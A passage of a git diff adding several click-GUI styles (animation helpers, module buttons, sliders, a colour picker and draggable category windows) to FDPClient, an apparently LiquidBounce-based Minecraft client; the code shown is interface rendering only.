(16F + vertHeight) * percent - 1F, Color(.5F, .5F, .5F, percent.coerceIn(0F, 1F)).rgb) + vertHeight += 16F + } + glPopMatrix() + valueHeight = 20F + expandHeight + return valueHeight + } + + override fun onClick(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float) { + if (isDisplayable() && MouseUtils.mouseWithinBounds(mouseX, mouseY, x, y + 2F, x + width, y + 18F)) + expansion = !expansion + if (expansion) { + var vertHeight = 0F + for (subV in unusedValues) { + if (MouseUtils.mouseWithinBounds(mouseX, mouseY, x + width - 14F - maxSubWidth, y + 18F + vertHeight, x + width - 10F, y + 34F + vertHeight)) { + value.set(subV) + expansion = false + break + } + vertHeight += 16F + } + } + } + + val unusedValues: List<String> + get() = saveValue.values.filter { it != value.get() } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/extensions/AnimHelper.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/extensions/AnimHelper.kt new file mode 100644 index 0000000..ce78440 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/newVer/extensions/AnimHelper.kt @@ -0,0 +1,8 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.extensions + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule +import net.ccbluex.liquidbounce.utils.AnimationUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils + +fun Float.animSmooth(target: Float, speed: Float) = if (ClickGUIModule.fastRenderValue.get()) target else AnimationUtils.animate(target, this, speed * RenderUtils.deltaTime * 0.025F) +fun Float.animLinear(speed: Float, min: Float, max: Float) = if (ClickGUIModule.fastRenderValue.get()) { if (speed < 0F) min else max } else (this + speed).coerceIn(min, max) \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/AnimationUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/AnimationUtil.java new file mode 100644 index 0000000..04fac7e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/AnimationUtil.java @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline; + +public class AnimationUtil { + public static float fastmax(float a, float b) { + return Math.max(a, b); + } + + public static float fastmin(float a, float b) { + return Math.min(a, b); + } + + public static float moveUD(final float current, final float end, final float smoothSpeed, final float minSpeed) { + float movement = (end - current) * smoothSpeed; + if (movement > 0.0f) { + movement = fastmax(minSpeed, movement); + movement = fastmin(end - current, movement); + } else if (movement < 0.0f) { + movement = fastmin(-minSpeed, movement); + movement = fastmax(end - current, movement); + } + return current + movement; + } + + public static double getAnimationState(double animation, double finalState, double speed) { + float add = (float) (0.01 * speed); + animation = animation < finalState ? (Math.min(animation + add, finalState)) : (Math.max(animation - add, finalState)); + return animation; + } + + public static float getAnimationState(float animation, float finalState, float speed) { + float add = (float) (0.01 * speed); + animation = animation < finalState ? (Math.min(animation + add, finalState)) : (Math.max(animation - add, finalState)); + return animation; + } + + public static double animate(final double target, double current, double speed) { + final boolean larger = (target > current); + if (speed < 0.0) { + speed = 0.0; + } else if (speed > 1.0) { + speed = 1.0; + } + if (target == current) { + return target; + } + final double dif = Math.max(target, current) - Math.min(target, current); + double factor = Math.max(dif * speed, 1.0); + if (factor < 0.1) { + factor = 0.1; + } + if (larger) { + if (current + factor > target) { + current = target; + } else { + current += factor; + } + } else if (current - factor < target) { + current = target; + } else { + current -= factor; + } + return current; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/Button.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/Button.java new file mode 100644 index 0000000..f205276 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/Button.java @@ -0,0 +1,154 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline; + +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.Value; +import net.minecraft.client.Minecraft; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.util.ArrayList; + +public class Button { + public Module cheat; + public Window parent; + public int x; + public float y; + public int index; + public int remander; + public ArrayList<ValueButton> buttons = new ArrayList<>(); + public boolean expand; + + public Button(Module cheat, int x, int y) { + this.cheat = cheat; + this.x = x; + this.y = y; + int y2 = y + 15; + for (Value v : this.cheat.getValues()) { + buttons.add(new ValueButton(v, this.x + 5, y2)); + y2 += 15; + } + } + + int smoothalpha; + float animationsize; + + public float processFPS(float fps, float defF, float defV) { + return defV / (fps / defF); + } + + public long rticks; + public void render(int mouseX, int mouseY) { + final GameFontRenderer font = Fonts.font35; + float y2 = y + 15; + buttons.clear(); + for (Value v : cheat.getValues()) { + buttons.add(new ValueButton(v, x + 5, y2)); + y2 += 15; + } + if (index != 0) { + int FPS = Minecraft.getDebugFPS() == 0 ? 1 : Minecraft.getDebugFPS(); + Button b2 = parent.buttons.get(index - 1); + y = b2.y + 15 + animationsize; + if (b2.expand) { + parent.buttonanim = true; + animationsize = AnimationUtil.moveUD(animationsize, 15 * b2.buttons.size(), processFPS(FPS, 1000, 0.013F), processFPS(FPS, 1000, 0.011F)); + } else { + parent.buttonanim = true; + animationsize = AnimationUtil.moveUD(animationsize, 0, processFPS(FPS, 1000, 0.013F), processFPS(FPS, 1000, 0.011F)); + } + } + if (parent.buttonanim) { + parent.buttonanim = false; + } + int i = 0; + final float size = buttons.size(); + while (i < size) { + buttons.get(i).y = y + 17 + 15 * i; + buttons.get(i).x = x + 5; + ++i; + } + smoothalphas(); + GL11.glPushMatrix(); + //GL11.glEnable(3089); + //limitation.cut(); + RenderUtils.drawRect(x - 5, y - 5, x + 85 + parent.allX, y + font.FONT_HEIGHT + 5, new Color(40, 40, 40).getRGB()); + RenderUtils.drawRect(x - 5, y - 5 - 1, x + 85 + parent.allX, y + font.FONT_HEIGHT + 3 + 1, + hudcolorwithalpha());//Button Font List + rticks++; + + Color Ranbow = ClickGUIModule.INSTANCE.getColorRainbow().get() ? new Color(Color.HSBtoRGB( + (float) ((double) Minecraft.getMinecraft().thePlayer.ticksExisted / 50.0 + Math.sin((double) 0 / 50.0 * 1.6)) + % 1.0f, + 0.5f, 1.0f)) : ClickGUIModule.INSTANCE.generateColor(); + ValueButton.valuebackcolor = Ranbow.getRGB(); + if (!expand && size >= 1) { + Fonts.font35.drawString("+", x + 75 + parent.allX, y - 1, -1); + } else if (size >= 1) { + //RenderUtils.drawRect(x - 5, y - 5, x + 85 + parent.allX, y + font.FONT_HEIGHT + 5, new Color(40, 40, 40).getRGB()); + Fonts.font35.drawString("-", x + 75 + parent.allX, y - 1, -1); + } + font.drawStringWithShadow(cheat.getName(), x, y - 1, -1); + if (expand) { + buttons.forEach(b -> b.render(mouseX, mouseY, parent)); + } + //GL11.glDisable(3089); + GL11.glPopMatrix(); + } + + private int hudcolorwithalpha() { + //if(HUD.Breathinglamp.get()){ + + Color Ranbow = new Color(Color.HSBtoRGB( + (float) ((double) Minecraft.getMinecraft().thePlayer.ticksExisted / 50.0 + Math.sin(1.6)) + % 1.0f, + 0.5f, 1.0f)); + return cheat.getState() ? Ranbow.getRGB() : new Color(40,40,40).getRGB(); + //} else { + //return new Color(HUD.r.getValue().intValue(), HUD.g.getValue().intValue(), HUD.b.getValue().intValue(), smoothalpha).getRGB(); + //} + } + + private void smoothalphas() { + int FPS = Minecraft.getDebugFPS() == 0 ? 1 : Minecraft.getDebugFPS(); + if (cheat.getState()) { + smoothalpha = (int) AnimationUtil.moveUD(smoothalpha, 255, processFPS(FPS, 1000, 0.013F), processFPS(FPS, 1000, 0.011F)); + } else { + smoothalpha = (int) AnimationUtil.moveUD(smoothalpha, 0, processFPS(FPS, 1000, 0.013F), processFPS(FPS, 1000, 0.011F)); + } + } + + public void key(char typedChar, int keyCode) { + buttons.forEach(b -> b.key(typedChar, keyCode)); + } + + public void click(int mouseX, int mouseY, int button) { + if (parent.drag) { + return; + } + if (mouseX > x - 7 && mouseX < x + 85 + parent.allX && mouseY > y - 6 && mouseY < y + Fonts.font35.FONT_HEIGHT) { + if (button == 0) { + this.cheat.setState(!this.cheat.getState()); + } + if (button == 1 && !buttons.isEmpty()) { + expand = !expand; + } + } + if (expand) { + buttons.forEach(b -> b.click(mouseX, mouseY, button)); + } + } + + public void setParent(Window parent) { + this.parent = parent; + for (int i = 0; i < this.parent.buttons.size(); ++i) { + if (this.parent.buttons.get(i) != this) continue; + index = i; + remander = this.parent.buttons.size() - i; + break; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ClickyUI.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ClickyUI.java new file mode 100644 index 0000000..89f21e1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ClickyUI.java @@ -0,0 +1,72 @@ +/* + * Decompiled with CFR 0.136. + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline; + + +import com.google.common.collect.Lists; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.renderer.GlStateManager; +import org.lwjgl.input.Mouse; +import org.lwjgl.opengl.Display; + +import java.awt.*; +import java.io.IOException; +import java.util.ArrayList; + +public class ClickyUI extends GuiScreen { + public static ArrayList<Window> windows = Lists.newArrayList(); + public int scrollVelocity; + public static boolean binding; + + public ClickyUI() { + if (windows.isEmpty()) { + int x = 25; + ModuleCategory[] arrmoduleType = ModuleCategory.values(); + int n = arrmoduleType.length; + int n2 = 0; + while (n2 < n) { + ModuleCategory c = arrmoduleType[n2]; + windows.add(new Window(c, 20 , x)); + x += 30; + ++n2; + } + } + } + + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + int defaultHeight1 = (this.height); + int defaultWidth1 = (this.width); + Gui.drawRect(0, 0, Display.getWidth(), Display.getHeight(), new Color(0, 0, 0, 100).getRGB());//Shadow + + GlStateManager.pushMatrix(); + windows.forEach(w2 -> w2.render(mouseX, mouseY)); + GlStateManager.popMatrix(); + if (Mouse.hasWheel()) { + int wheel = Mouse.getDWheel(); + scrollVelocity = wheel < 0 ? -120 : (wheel > 0 ? 130 : 0); + } + windows.forEach(w2 -> w2.mouseScroll(mouseX, mouseY, scrollVelocity)); + super.drawScreen(mouseX, mouseY, partialTicks); + } + + @Override + protected void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + windows.forEach(w2 -> w2.click(mouseX, mouseY, mouseButton)); + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + @Override + protected void keyTyped(char typedChar, int keyCode) { + if (keyCode == 1 && !binding) { + mc.displayGuiScreen(null); + return; + } + windows.forEach(w2 -> w2.key(typedChar, keyCode)); + } + +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ColorValueButton.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ColorValueButton.java new file mode 100644 index 0000000..2d6aad3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ColorValueButton.java @@ -0,0 +1,52 @@ +/* + * Decompiled with CFR 0.136. + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline; + + +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; + +public class ColorValueButton + extends ValueButton { + private final float[] hue = {0.0f}; + private int position; + private int color = new Color(125, 125, 125).getRGB(); + + public ColorValueButton(int x, int y) { + super(null, x, y); + custom = true; + position = -1111; + } + + public void render(int mouseX, int mouseY) { + float[] huee = {hue[0]}; + RenderUtils.drawRect(x - 10, y - 4, x + 80, y + 11, new Color(0, 0, 0, 100).getRGB()); + for (int i = x - 7; i < x + 79; ++i) { + Color color = Color.getHSBColor(huee[0] / 255.0f, 0.7f, 1.0f); + if (mouseX > i - 1 && mouseX < i + 1 && mouseY > y - 6 && mouseY < y + 12 && Mouse.isButtonDown(0)) { + this.color = color.getRGB(); + position = i; + } + if (this.color == color.getRGB()) { + position = i; + } + RenderUtils.drawRect(i - 1, y, i, y + 8, color.getRGB()); + huee[0] = huee[0] + 4.0f; + if (!(huee[0] > 255.0f)) continue; + huee[0] = huee[0] - 255.0f; + } + RenderUtils.drawRect(position, y, position + 1, y + 8, -1); + if (hue[0] > 255.0f) { + hue[0] = hue[0] - 255.0f; + } + } + + public void key(char typedChar, int keyCode) { + } + + public void click(int mouseX, int mouseY, int button) { + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ValueButton.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ValueButton.java new file mode 100644 index 0000000..90cda96 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/ValueButton.java @@ -0,0 +1,131 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline; + +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.BoolValue; +import net.ccbluex.liquidbounce.features.value.IntegerValue; +import net.ccbluex.liquidbounce.features.value.ListValue; +import net.ccbluex.liquidbounce.features.value.Value; +import net.minecraft.client.renderer.GlStateManager; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.util.Arrays; +import java.util.List; + + +public class ValueButton { + public final Value value; + public String name; + public boolean custom; + public boolean change; + public int x; + public float y; + public static int valuebackcolor; + + + public ValueButton(Value value, int x, float y) { + + this.value = value; + this.x = x; + this.y = y; + + name = ""; + if (this.value instanceof BoolValue) { + change = (boolean) this.value.get(); + } else if (this.value instanceof ListValue) { + name = String.valueOf(this.value.get()); + } else if (value instanceof IntegerValue) { + IntegerValue v = (IntegerValue) value; + name = name + (v.getDisplayable() ? ((Number) v.get()).intValue() : ((Number) v.get()).doubleValue()); + } + } + + public void render(int mouseX, int mouseY, Window parent) { + final GameFontRenderer font = Fonts.font32; + RenderUtils.drawRect(x - 10, y - 7, x + 80 + parent.allX, y + 11, new Color(40, 40, 40).getRGB()); + if (value instanceof BoolValue) { + change = (boolean) value.get(); + } else if (value instanceof ListValue) { + name = String.valueOf(value.get()).toUpperCase(); + } else if (value instanceof IntegerValue) { + IntegerValue v = (IntegerValue) value; + name = String.valueOf(((Number) v.get()).doubleValue()); + if (mouseX > x - 9 && mouseX < x + 87 && mouseY > y - 4 && mouseY < y + font.FONT_HEIGHT + 4 && Mouse.isButtonDown(0)) { + final double min = v.getMinimum(); + final double max = v.getMaximum(); + final double inc = 1; + final double valAbs = mouseX - (x + 1); + double perc = valAbs / 68; + perc = Math.min(Math.max(0, perc), 1); + final double valRel = (max - min) * perc; + double val = min + valRel; + val = Math.round(val * (1 / inc)) / (1 / inc); + v.set((int) val); + } + double number = 86 * (((Number) v.get()).floatValue() - v.getMinimum()) / (v.getMaximum() - v.getMinimum()); + GlStateManager.pushMatrix(); + GlStateManager.translate(-9.0f, 1.0f, 0.0f); + RenderUtils.drawRect(x + 1, y - 6, (x + 87.0f + parent.allX), y + font.FONT_HEIGHT + 6, new Color(29, 29, 29).getRGB()); + RenderUtils.drawRect(x + 1, y - 6, (x + number + 1.0 + parent.allX), y + font.FONT_HEIGHT + 6, valuebackcolor); + GlStateManager.popMatrix(); + } + if (value instanceof BoolValue) { + final int size = 2; + if (change) { + RenderUtils.drawRect(x + 62 + size + parent.allX + 4, y - 4 + size - 1, x + 76 - size + parent.allX + 4, y + 9 - size, new Color(29, 29, 29).getRGB()); + RenderUtils.drawRect(x + 62 + size + parent.allX + 5, y - 4 + size, x + 76 - size + parent.allX + 3, y + 8 - size, new Color(255, 255, 255, 218).getRGB()); + } else { + RenderUtils.drawRect(x + 62 + size + parent.allX + 4, y - 4 + size - 1, x + 76 - size + parent.allX + 4, y + 9 - size, new Color(29, 29, 29).getRGB()); + } + } + + if (!(value instanceof IntegerValue)) { + font.drawStringWithShadow(value.getName(), x - 7 + 2, y, -1); + } + if (value instanceof BoolValue) { + font.drawStringWithShadow(name, x + font.getStringWidth(value.getName()) + 2, y, -1); + } + if (value instanceof IntegerValue) { + font.drawStringWithShadow(value.getName(), x - 7, y - 1, -1); + font.drawStringWithShadow(name, x + font.getStringWidth(value.getName()) + 2, y - 1, -1); + } + if (value instanceof ListValue) { + font.drawStringWithShadow(name, x + 90 - font.getStringWidth(name) + 2, y, -1); + } + } + + + public void key(char typedChar, int keyCode) { + } + + public void click(int mouseX, int mouseY, int button) { + if (!custom && mouseX > x - 9 && mouseX < x + 87 && mouseY > y - 4 && mouseY < y +Fonts.font35.FONT_HEIGHT + 4) { + if (value instanceof BoolValue) { + BoolValue m1 = (BoolValue) value; + m1.set(!(Boolean) m1.get()); + return; + } + if (value instanceof ListValue) { + ListValue m = (ListValue) value; + if ((button == 0 || button == 1)) { + List<String> options = Arrays.asList(m.getValues()); + //noinspection SuspiciousMethodCalls + int index = options.indexOf(m.get()); + if (button == 0) { + index++; + } else { + index--; + } + if (index >= options.size()) { + index = 0; + } else if (index < 0) { + index = options.size() - 1; + } + this.value.set(m.getValues()[index]); + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/Window.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/Window.java new file mode 100644 index 0000000..80d8e8c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/novoline/Window.java @@ -0,0 +1,232 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline; + + +import com.google.common.collect.Lists; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.utils.Translate; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.Gui; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.util.ArrayList; + +public class Window { + public final ModuleCategory category; + public final ArrayList<Button> buttons = Lists.newArrayList(); + public boolean drag; + public boolean extended; + public int x; + public int y; + public float expand; + public int dragX; + public int dragY; + public final int max; + public int scroll; + public int scrollTo; + int allX; + final Translate translate = new Translate(0F); + + public Window(ModuleCategory category, int x, int y) { + this.category = category; + this.x = x; + this.y = y; + max = 120; + int y2 = y + 22; + for (Module c : FDPClient.moduleManager.getModules()) { + if (c.getCategory() != category) + continue; + buttons.add(new Button(c, x + 5, y2)); + y2 += 15;//15 + } + for (Button b2 : buttons) { + b2.setParent(this); + } + } + int wheely; + public float totalY; + boolean buttonanim; + + public void render(int mouseX, int mouseY) { + boolean isOnPanel; + int current = 0; + int iY = y + 22; + totalY = 17; + for (Button b3 : buttons) { + b3.y = (int) (iY - translate.getY()); + iY += 15; + totalY += 15; + if (b3.expand) { + for (ValueButton ignored : b3.buttons) { + current += 15;//15 + totalY += 15;//15 + } + } + current += 15; + } + + allX = 12; + int height = 15 + current; + if (category.name().equals("Other")) { + if (height > 250 - 143) { + height = 250 - 143; + } + } + if (category.name().equals("Player")) { + if (height > 230 - 93) { + height = 230 - 93; + } + } + if (category.name().equals("Movement")) { + if (height > 316 - 44) { + height = 316 - 44; + } + } + if (category.name().equals("Combat")) { + if (height > 270 - 58) { + height = 270 - 58; + } + } + if (!category.name().equals("Player") && !category.name().equals("Other") + && !category.name().equals("Combat") && !category.name().equals("Movement")) { + if (height > 316) { + height = 316; + } + } + isOnPanel = mouseX > x - 2 && mouseX < x + 92 && mouseY > y - 2 && mouseY < y + expand; + translate.interpolate(0, wheely, 0.15F); + if (isOnPanel) { + runWheel(height); + } + if (extended) { + if (buttonanim) { + expand = AnimationUtil.moveUD(expand, height, 0.2f, 0.15f); + } else { + if (!category.name().equals("World")) { + expand = AnimationUtil.moveUD(expand, height, 0.5f, 0.5f); + } else { + expand = AnimationUtil.moveUD(expand, height, 0.2f, 0.15f); + } + } + } else { + if (buttonanim) { + expand = AnimationUtil.moveUD(expand, 0, 0.2f, 0.15f); + } else { + if (!category.name().equals("World")) { + expand = AnimationUtil.moveUD(expand, 0, 0.5f, 0.5f); + } else { + expand = AnimationUtil.moveUD(expand, 0, 0.2f, 0.15f); + } + } + } + Gui.drawRect(x - 1, y, x + 91 + allX, y + 17, new Color(29, 29, 29).getRGB()); + RenderUtils.drawBorderedRect(x - 0.5, y - 0.5, x + 91 + allX, y + expand, 0.05f, new Color(29, 29, 29).getRGB(), new Color(40, 40, 40).getRGB()); + + + if (category.name().equals("Other")) { + Fonts.font35.drawStringWithShadow("Exploit", x + 4, y + 5, -1); + } + if (category.name().equals("World")) { + Fonts.font35.drawStringWithShadow("Misc", x + 4, y + 5, -1); + } + if (category.name().equals("Visual")) { + Fonts.font35.drawStringWithShadow("Visual", x + 4, y + 5, -1); + } + if (!category.name().equals("Visual") && !category.name().equals("Misc") && !category.name().equals("World")) { + Fonts.font35.drawStringWithShadow(category.name(), x + 4, y + 5, -1); + } + //Icons start + final GameFontRenderer novoicons = Fonts.font35; + if (category.name().equals("Combat")) { + novoicons.drawString("a", x + 78 + allX, y + 7, -1); + } + if (category.name().equals("Other")) { + novoicons.drawString("G", x + 78 + allX, y + 5, -1); + } + if (category.name().equals("Visual")) { + novoicons.drawString("f", x + 78 + allX, y + 6, -1); + } + if (category.name().equals("Player")) { + novoicons.drawString("b", x + 78 + allX, y + 6, -1); + } + if (category.name().equals("Movement")) { + novoicons.drawString("m", x + 78 + allX, y + 6, -1); + } + if (category.name().equals("World")) { + novoicons.drawString("c", x + 78 + allX, y + 5, -1); + } + //GL11.glScissor(x - 1, y - 1, x + 91 + allX, y + (int)expand); + //GL11.glEnable(GL11.GL_SCISSOR_TEST); + + //Icons end + if (expand > 0) { + buttons.forEach(b2 -> b2.render(mouseX, mouseY)); + } + + //GL11.glDisable(GL11.GL_SCISSOR_TEST); + if (drag) { + if (!Mouse.isButtonDown(0)) { + drag = false; + } + x = mouseX - dragX; + y = mouseY - dragY; + buttons.get(0).y = y + 22 - scroll; + for (Button b4 : buttons) { + b4.x = x + 5;//Button X�����λ�� + } + } + + } + + protected void runWheel(int height) { + if (Mouse.hasWheel()) { + int wheel = Mouse.getDWheel(); + if (totalY - height <= 0) { + return; + } + if (wheel < 0) { + if (wheely < totalY - height) { + wheely += 20 + Mouse.getDWheel(); + if (wheely < 0) { + wheely = 0; + } + } + } else if (wheel > 0) { + wheely -= 20 + Mouse.getDWheel(); + if (wheely < 0) { + wheely = 0; + } + } + } + } + + public void key(char typedChar, int keyCode) { + buttons.forEach(b2 -> b2.key(typedChar, keyCode)); + } + + public void mouseScroll(int mouseX, int mouseY, int amount) { + if (mouseX > x - 2 && mouseX < x + 92 && mouseY > y - 2 && mouseY < y + 17 + expand) { + scrollTo = (int) ((float) scrollTo - (amount / 120 * 28)); + } + } + + public void click(int mouseX, int mouseY, int button) { + if (mouseX > x - 2 && mouseX < x + 92 && mouseY > y - 2 && mouseY < y + 17) { + if (button == 1) { + extended = !extended; + } + if (button == 0) { + drag = true; + dragX = mouseX - x; + dragY = mouseY - y; + } + } + if (extended) { + buttons.stream().filter(b2 -> b2.y < y + expand).forEach(b2 -> b2.click(mouseX, mouseY, button)); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/CategoryScreen.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/CategoryScreen.java new file mode 100644 index 0000000..7aa45ad --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/CategoryScreen.java @@ -0,0 +1,156 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Utils.Position; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.MathUtils; +import net.ccbluex.liquidbounce.utils.misc.Direction; +import net.ccbluex.liquidbounce.utils.misc.SmoothStepAnimation; +import net.ccbluex.liquidbounce.utils.misc.Animation; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.render.RoundedUtil; +import org.lwjgl.input.Mouse; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +public class CategoryScreen +{ + private float maxScroll; + private float minScroll; + private float rawScroll; + private float scroll; + public Position pos; + private ModuleCategory category; + private float x; + private float categoryX; + private float categoryY; + private boolean selected; + private final List<ModuleRender> moduleList; + private Animation scrollAnimation; + + public String newcatename(final ModuleCategory moduleCategory) { + if (moduleCategory.getDisplayName().equals("Combat")) { + return "combat"; + } + if (moduleCategory.getDisplayName().equals("Player")) { + return "player"; + } + if (moduleCategory.getDisplayName().equals("Movement")) { + return "move"; + } + if (moduleCategory.getDisplayName().equals("Visual")) { + return "visual"; + } + if (moduleCategory.getDisplayName().equals("World")) { + return "world"; + } + if (moduleCategory.getDisplayName().equals("Other")) { + return "other"; + } + if (moduleCategory.getDisplayName().equals("Exploit")) { + return "exploit"; + } + return ""; + } + + public CategoryScreen(final ModuleCategory category, final float x) { + this.maxScroll = Float.MAX_VALUE; + this.minScroll = 0.0f; + this.category = ModuleCategory.COMBAT; + this.moduleList = new CopyOnWriteArrayList<ModuleRender>(); + this.scrollAnimation = new SmoothStepAnimation(0, 0.0, Direction.BACKWARDS); + this.category = category; + this.x = x; + this.pos = new Position(0.0f, 0.0f, 0.0f, 0.0f); + int count = 0; + int leftAdd = 0; + int rightAdd = 0; + for (final Module module : FDPClient.moduleManager.getModuleInCategory(this.category)) { + final float posWidth = 0.0f; + final float posX = this.pos.x + ((count % 2 == 0) ? 0 : 145); + final float posY = this.pos.y + ((count % 2 == 0) ? leftAdd : rightAdd); + final Position pos = new Position(posX, posY, posWidth, 30.0f); + final ModuleRender otlM = new ModuleRender(module, pos.x, pos.y, pos.width, pos.height); + pos.height = (float)otlM.height; + if (count % 2 == 0) { + leftAdd += (int)(pos.height + 20.0f); + } + else { + rightAdd += (int)(pos.height + 20.0f); + } + this.moduleList.add(otlM); + ++count; + } + } + + public void drawScreen(final int mouseX, final int mouseY) { + try { + this.categoryX = OtcClickGUi.getMainx(); + this.categoryY = OtcClickGUi.getMainy(); + if (this.selected) { + final double scrolll = this.getScroll(); + for (final ModuleRender module2 : this.moduleList) { + module2.scrollY = (int) MathUtils.INSTANCE.roundToHalf(scrolll); + } + this.onScroll(30); + this.maxScroll = Math.max(0.0f, this.moduleList.get(this.moduleList.size() - 1).getY() + this.moduleList.get(this.moduleList.size() - 1).height * 2 + 2500.0f); + } + Fonts.fontTahoma.drawString(this.newcatename(this.category), this.x + this.categoryX + 77.0f, this.categoryY - 29.0f, -1); + if (this.selected) { + RoundedUtil.drawRound(this.x + this.categoryX + 76.0f, this.categoryY - 29.0f - 3.0f, (float)(Fonts.fontTahoma.getStringWidth(this.newcatename(this.category)) + 2), 9.0f, 1.0f, new Color(255, 255, 255, 60)); + GL11.glPushMatrix(); + RenderUtils.scissor(0.0, OtcClickGUi.getMainy(), 1920.0, 300.0); + GL11.glEnable(3089); + this.moduleList.stream().sorted((o1, o2) -> Boolean.compare(o1.isSelected(), o2.isSelected())).forEach(module -> module.drawScreen(mouseX, mouseY)); + GL11.glDisable(3089); + GL11.glPopMatrix(); + } + if (this.isHovered(mouseX, mouseY)) { + RoundedUtil.drawRound(this.x + this.categoryX + 76.0f, this.categoryY - 29.0f - 3.0f, (float)(Fonts.fontTahoma.getStringWidth(this.newcatename(this.category)) + 2), 9.0f, 1.0f, new Color(255, 255, 255, 60)); + } + } + catch (NullPointerException e) { + e.printStackTrace(); + } + } + + public void onScroll(final int ms) { + this.scroll = (float)(this.rawScroll - this.scrollAnimation.getOutput()); + this.rawScroll += Mouse.getDWheel() / 4.0f; + this.rawScroll = Math.max(Math.min(this.minScroll, this.rawScroll), -this.maxScroll); + this.scrollAnimation = new SmoothStepAnimation(ms, this.rawScroll - this.scroll, Direction.BACKWARDS); + } + + public float getScroll() { + return this.scroll = (float)(this.rawScroll - this.scrollAnimation.getOutput()); + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.x + this.categoryX + 76.0f && mouseX <= this.x + this.categoryX + 76.0f + Fonts.fontTahoma.getStringWidth(this.newcatename(this.category)) + 2.0f && mouseY >= this.categoryY - 29.0f - 3.0f && mouseY <= this.categoryY - 29.0f - 3.0f + 9.0f; + } + + protected void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + this.moduleList.forEach(s -> 